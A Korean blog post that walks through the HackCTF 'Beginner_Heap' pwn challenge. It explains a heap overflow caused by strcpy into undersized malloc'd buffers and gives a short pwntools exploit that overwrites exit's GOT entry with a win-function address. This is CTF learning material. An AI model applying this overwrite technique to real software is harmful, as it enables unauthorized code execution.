[HackCTF] Beginner_Heap 문제 풀이

2022. 2. 10. 18:28·문제 풀이
728x90
  • Beginner_Heap

 

: 문제에서 주어진 파일을 IDA_64bit로 열게 되면, 아래와 같은 코드를 확인할 수 있다.

 

 

 

먼저 main에서 v3에서는 8바이트, v4에서는 16바이트를 malloc 함수로 동적할당을 받고 있는 것을 확인할 수 있다. 

 

여기서  추가적으로 v3+1에 8바이트, v4+1에 8바이트가 동적 할당을 받고 있다는 것을 확인할 수 있다. 

 

메인 함수를 보면 strcpy 함수가 있어서 heapoverflow를 이용하여 문제를 해결할 것이라 추측할 수 있는데요.

strcpy 함수에 의해 s 변수에 최대 4096바이트(0x1000) 크기의 값을 입력받고 v3+1에 저장한다. 또한 v4+1에서도 같이 적용된다. 

 

여기서 문제는 동적할당 한 크기 보다 입력받는 크기가 더 크다는 점에서 heapoverflow를 일어나는 것을 확인 할 수있다.

 

 

v4+1 (8byte)
v4 (16byte)
v3+1 (8byte)
v3 (8byte)

 

: 위의 함수에 따라서 스택구조는 이와 같이 되어 있을 것이고,  첫 번째 입력시에 버퍼값을 쓰래기 값으로 채워 덮여질 주소 4바이트를 추가한 총 44바이트를 입력한다. 후에 2번째 입력을 받을 때 got 주소를 넣어 flag 값을 구할 수 있다.

 

 

from pwn import*

p = remote("ctf.j0n9hyun.xyz", 3016)
e = ELF("./beginner_heap.bin")

payload1 = "A"*40 + p64 (e.got['exit'])
payload2 = p64(0x400826)

p.sendline(payload1)
p.sendline(payload2)

p.interactive()

 

 

 

 

 

 

https://ctf.j0n9hyun.xyz/challenges#Beginner_Heap

 

HackCTF

Do you wanna be a God? If so, Challenge!

ctf.j0n9hyun.xyz

 

'문제 풀이' 카테고리의 다른 글

[2022 Reversing D+14] abex crackme 01, 02  (0) 2022.02.15
[2022 CTF] 리버싱 - Day 13  (0) 2022.02.14
[Dreamhack] basic_exploitation_003 문제 풀이  (0) 2022.02.09
[Dreamhack] basic_exploitation_001, 002 문제 풀이  (0) 2022.01.29
[LOB]gremlin 문제 풀이  (0) 2022.01.27
'문제 풀이' 카테고리의 다른 글
  • [2022 Reversing D+14] abex crackme 01, 02
  • [2022 CTF] 리버싱 - Day 13
  • [Dreamhack] basic_exploitation_003 문제 풀이
  • [Dreamhack] basic_exploitation_001, 002 문제 풀이
동굴러버의 백업단지
동굴러버의 백업단지
365일 중 364일 동굴에 있고 싶은 동굴러버의 속세와의 소통창구 겸 백업단지 저장소 (※급 잠수 및 와다다 백업 게시글 주의※)
  • 동굴러버의 백업단지
    새벽 1시 19분
    동굴러버의 백업단지
  • 전체
    오늘
    어제
    • 분류 전체보기 (120)
      • CS (0)
      • 자기개발 (97)
        • Linux (11)
        • Web (13)
        • Unity (24)
        • 블록체인 (37)
        • 포너블 (4)
        • 디지털포렌식 (0)
      • 문제 풀이 (16)
      • 잡다한 지식 (5)
      • 외출일지 (2)
  • 블로그 메뉴

    • 홈
    • 태그
  • 링크

  • 공지사항

  • 인기 글

  • 태그

  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.6
동굴러버의 백업단지
[HackCTF] Beginner_Heap 문제 풀이
상단으로

티스토리툴바